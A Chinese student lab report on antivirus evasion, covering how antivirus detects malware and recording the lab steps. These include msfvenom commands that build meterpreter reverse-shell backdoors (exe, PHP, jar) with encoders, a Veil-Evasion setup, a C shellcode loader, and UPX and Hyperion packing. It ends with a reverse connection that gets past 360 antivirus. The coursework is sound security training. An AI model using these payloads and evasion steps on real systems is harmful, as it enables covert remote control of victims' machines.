2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
基础问题回答
杀软是如何检测出恶意代码的?
1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代码),如果检测到特征码就会被断定为恶意软件。
2.启发式恶意软件检测,是根据某些特征去推断是否为恶意软件。
3.根据行为进行恶意软件检测: 通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,就会认定为是恶意软件。
免杀是做什么?
使用一些技术手段,不让杀软所检测到。
免杀的基本方法有哪些?
文件免杀方法:
1.加壳,如加压缩壳和加密壳。
2.加花指令,一般一个木马程序加入花指令后,就可以躲大部分的杀毒软件,不像改特征码,只能躲过某一种杀毒软件。
3.改程序入口点。
4.改木马文件特征码
- 把特征码所对应的十六进制改成数字差1或差不多的十六进制
- 把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了
- 特征码所对应的汇编指令命令中替换成功能类拟的指令
- 把具有特征码的代码顺序互换一下
开启杀软能绝对防止电脑中恶意代码吗?
- 开启杀软能起到防止电脑中恶意代码的风险,但不是绝对的。首先未录入病毒库的恶意代码就有可能避开杀软侵入到电脑。或者可以使用更高级的编码技术来隐藏恶意代码的特征码。
实践过程记录
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 正确使用msf编码器,生成exe文件
- 在实验二中使用msf生成了后门程序,在virscan中测试一下。:
注意:在导入文件时文件名不能带有数字,否则会报错。 - 面我们用msf编码器对后门程序进行一次的编码,其中
-e
:选择编码器,-b
:是payload中需要去除的字符,-i
是迭代的次数,因为shellcode以\x00
为结束符,所哟在-b
后面要跟一个\x00
。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=攻击机的IP LPORT=端口号 -f exe > xxx.exe
- 使用一下十次编译的方法:
-i
后跟一个10
即可。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=攻击机的IP LPORT=端口号 -f exe > xxx.exe
2. msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机的IP LPORT=端口号 x> xxx.php
生成文件如下图:
放入virscan中进行测试:
3. msfvenom生成jar文件
- 生成jar后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=攻击机的IP LPORT=端口号 x> xxx.jar
生成文件如下图:
放入virscan中进行测试:
4. 使用veil-evasion生成后门程序及检测
- 安装veil成功之后,输入
veil
,再用use evasion命令进入Evil-Evasion进入如下界面:
- 输入命令use c/meterpreter/rev_tcp.py进入配置界面
- 设置反弹连接IP,命令为:set LHOST kaliIP,设置端口,命令为:set LPORT 端口号。输入generate生成文件,接着输入playload的名字:如veil_c_5235:
- 保存路径为
/var/lib/veil/output/compiled/veil_c_5235.exe
- 检测结果:
5. 半手工注入Shellcode并执行
- 使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=端口号 -f c
用c语言生成一段shellcode。
- 创建一个文件20165235.c,然后将unsigned char buf[] 拷贝到其中:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
........
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令:
i686-w64-mingw32-g++ 20165235.c -o 20165235.exe
编译这个.c文件为可执行文件:
- 进行检测:
- 将其复制到Windows上,被杀软检测到:
6.加压缩壳
- 20165235.exe加个压缩壳,得到qy_upxed.exe:
- 加压外壳的检测:
- 不过还是被杀软给发现了:
- 设置白名单之后进行反弹连接:
7.使用加密壳Hyperion
- 将qy_upxed.exe拷贝到
/usr/share/windows-binaries/hyperion/
,并且进入到这个文件目录下,使用终端输入命令wine hyperion.exe -v qy_upxed.exe qy_upxed_Hyperion.exe
进行加加密壳:
任务二:通过组合应用各种技术实现恶意代码免杀
- 对半手工制作shellcode加压缩壳不能达到免杀的目的,加密壳有一定的几率是可以达到了免杀的目的。
- 加密壳的免杀和反弹连接:
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 使用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。对方的主机是win7系统,免杀软件是360,版本是:
11.1.0.2001
。
- 另一台主机免杀:
- 反弹连接的结果:
离实战还缺些什么技术或步骤?
本次实验我们只是简单的对文件进行加壳隐藏特征码来免杀,但是现在的病毒库更新速度很快,应该学会结合多种技术来免杀,如结合加壳,更换编码,修改程序入口,隐藏恶意软件共有的行为等来进行免杀。
实验中遇到的问题:
- 在shellcode进行反弹连接时,恶意软件在win7上无法运行,直接被终止。
- 解决方法:我先后关闭了杀软,防火墙等软件,但还是没用。更换了端口号也是没什么用,将shellcode拷贝到win7虚拟机也是同样被终止。最后我让同学帮我在他的kali上生成后门软件,并将ip和端口号进行了修改,最后完成了反弹连接实验。
实践总结与体会
本次实验要就掌握msf编码器,使用msfvenom生成各种类型的后门软件,而且最大的收获值学会了shellcode注入。在进行实验的时候遇到了不少的问题,如后门程序在win7上运行时会中断等问题。但最终还是解决了这些问题。
学习完本次的实验对免杀原理有了深层次的了解。对以后网络恶意软件的防范有了扎实的理论支持。